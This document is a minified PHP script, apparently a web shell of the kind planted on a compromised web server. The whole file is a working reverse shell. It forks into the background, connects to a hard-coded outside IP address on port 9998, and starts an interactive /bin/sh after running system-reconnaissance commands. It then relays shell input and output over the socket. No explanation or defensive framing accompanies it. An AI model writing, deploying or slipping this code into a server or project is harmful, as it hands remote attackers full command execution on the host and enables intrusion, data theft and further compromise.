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<?php set_time_limit(0);$version="1.0";$ip='86.125.24.61';$port=9998;$chunk_size=1400;$write_a=null;$error_a=null;$shell='uname -a; w; id; /bin/sh -i';$daemon=0;$debug=0;if(function_exists('pcntl_fork')){$pid=pcntl_fork();if($pid==-1){printit("ERROR: Can't fork");exit(1);}if($pid){exit(0);}if(posix_setsid()==-1){printit("Error: Can't setsid()");exit(1);}$daemon=1;}else{printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");}chdir("/");umask(0);$sock=fsockopen($ip,$port,$errno,$errstr,30);if(!$sock){printit("$errstr ($errno)");exit(1);}$descriptorspec=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"));$process=proc_open($shell,$descriptorspec,$pipes);if(!is_resource($process)){printit("ERROR: Can't spawn shell");exit(1);}stream_set_blocking($pipes[0],0);stream_set_blocking($pipes[1],0);stream_set_blocking($pipes[2],0);stream_set_blocking($sock,0);printit("Successfully opened reverse shell to $ip:$port");while(1){if(feof($sock)){printit("ERROR: Shell connection terminated");break;}if(feof($pipes[1])){printit("ERROR: Shell process terminated");break;}$read_a=array($sock,$pipes[1],$pipes[2]);$num_changed_sockets=stream_select($read_a,$write_a,$error_a,null);if(in_array($sock,$read_a)){if($debug)printit("SOCK READ");$input=fread($sock,$chunk_size);if($debug)printit("SOCK: $input");fwrite($pipes[0],$input);}if(in_array($pipes[1],$read_a)){if($debug)printit("STDOUT READ");$input=fread($pipes[1],$chunk_size);if($debug)printit("STDOUT: $input");fwrite($sock,$input);}if(in_array($pipes[2],$read_a)){if($debug)printit("STDERR READ");$input=fread($pipes[2],$chunk_size);if($debug)printit("STDERR: $input");fwrite($sock,$input);}}fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);function printit($string){if(!$daemon){print"$string\n";}} ?>